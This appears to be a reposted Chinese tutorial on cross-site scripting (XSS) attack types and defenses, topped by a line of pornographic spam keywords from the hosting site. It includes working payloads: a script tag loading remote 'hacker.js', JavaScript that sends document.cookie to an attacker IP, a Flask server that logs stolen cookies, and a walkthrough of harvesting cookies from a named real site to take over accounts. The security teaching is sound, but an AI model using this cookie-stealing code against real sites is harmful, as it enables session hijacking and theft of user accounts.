日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS常见攻击与防御

發布時間:2024/9/27 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS常见攻击与防御 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

本文獲得作者授權刊發,更多信息請關注作者專欄。

XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。

XSS攻擊案例:

新浪微博遭受XX攻擊:

http://soft.yesky.com/security/156/30179156.shtml

人人網遭受XSS攻擊:

http://www.freebuf.com/articles/6295.html

簡單的測試方法:

所有提交數據的地方都有可能存在XSS,可以用最簡單腳本進行測試:

<script>alert(“1”)</script>

XSS攻擊類型

反射型:

黑客構造一個包含XSS代碼的URL(服務器中沒有這樣的頁面和內容),誘導或等待用戶去點擊鏈接,才能觸發XSS代碼,達到劫持訪問、獲取cookies的目的。一般容易出現在搜索頁面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22alert(1)%22&psa=M3.s10.0.j4 (此漏洞已經修復,請勿再測,造成訪問壓力。)

持久型:

如果黑客可以將腳本代碼通過發布內容(如發論壇、博文、寫留言等)的方式發布后,存儲在服務端的數據庫或者文件中,成為某個url正常的頁面的一部分,所有訪問這個頁面的所有用戶都是受害者,看似正常的url,則其頁面已經包含了xss代碼,持久型XSS更具有隱蔽性,帶來的危害也更大

例如:在頁面中不容注意的地方加一段js腳本(如下),當頁面被打開時,頁面會加載這段腳本,加系統登錄的cookies發送到遠端hacker的手中。

<script type="text/javascript" src="https://xss.xxx.com/hacker.js"></script>

DOM型:


DOM就是一個樹狀的模型,你可以編寫Javascript代碼根據DOM一層一層的節點,去遍歷/獲取/修改對應的節點,對象,值。dom xss并不復雜,他也屬于反射型xss的一種(,domxss取決于輸出位置,并不取決于輸出環境,因此domxss既有可能是反射型的,也有可能是存儲型的),簡單去理解就是因為他輸出點在DOM,所以在道哥的《白帽子講Web安全里》也有詳細介紹。xss代碼可能是簡短的插入script節點的語句,載入來自第三方域的含有具體惡意代碼的腳本。具體的惡意代碼,常見的行為是讀取cookie,構造例如一個img標簽,將其src屬性指向惡意第三方網站,將cookie的內容作為參數附在src的url上,這樣黑客就能在其網站上獲得你的cookie信息,這就是所謂的cookie劫持。

js獲取瀏覽器的cookies, 通過網絡將cookies發送給遠端的接https://xss.xxx.com/hacker.js,收程序。

var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://10.100.100.14:5000/?hacker='+encodeURIComponent(document.cookie);

接收端,利用python flask寫個非常簡單的項目

from flask import Flask, requestapp = Flask(__name__)@app.route('/')def get_cookies():text = request.args.get('hacker')with open(file_path, mode='a', encoding='utf-8') as f:f.writelines(text + "\n")if __name__ == '__main__':app.run(host='0.0.0.0', port=5000, debug=app.debug, threaded=True)

示例:(此漏洞已經修復,請勿再測,造成訪問壓力。)

在www.wuage.com?fromtf=budao注冊過后返回個人中心,在公司名稱完成XSS注入


在搜索頁面https://s.wuage.com/product/search?fromtf=budao?,選擇一個公司點擊訊問價格-勾選上同時發布到求購大廳,此時就會收到源源不斷的cookies信息。


獲取cookies

修改cookies,登錄網站:



進入用戶的會員中心,查看企業信息

XSS攻擊防御

設置HttpOnly以避免cookie劫持的危險。

過濾,對諸如

<script>、<img>、<a>

等標簽進行過濾。

編碼,像一些常見的符號,如<>在輸入的時候要對其進行轉換編碼,這樣做瀏覽器是不會對該標簽進行解釋執行的,同時也不影響顯示效果。

限制,通過以上的案例我們不難發現xss攻擊要能達成往往需要較長的字符串,因此對于一些可以預期的輸入可以通過限制長度強制截斷來進行防御。

更多干貨請瀏覽:

還在手調網絡權限?資深IT工程師都這樣玩企業組網

利用500W條微博語料對評論進行情感分析


總結

以上是生活随笔為你收集整理的XSS常见攻击与防御的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。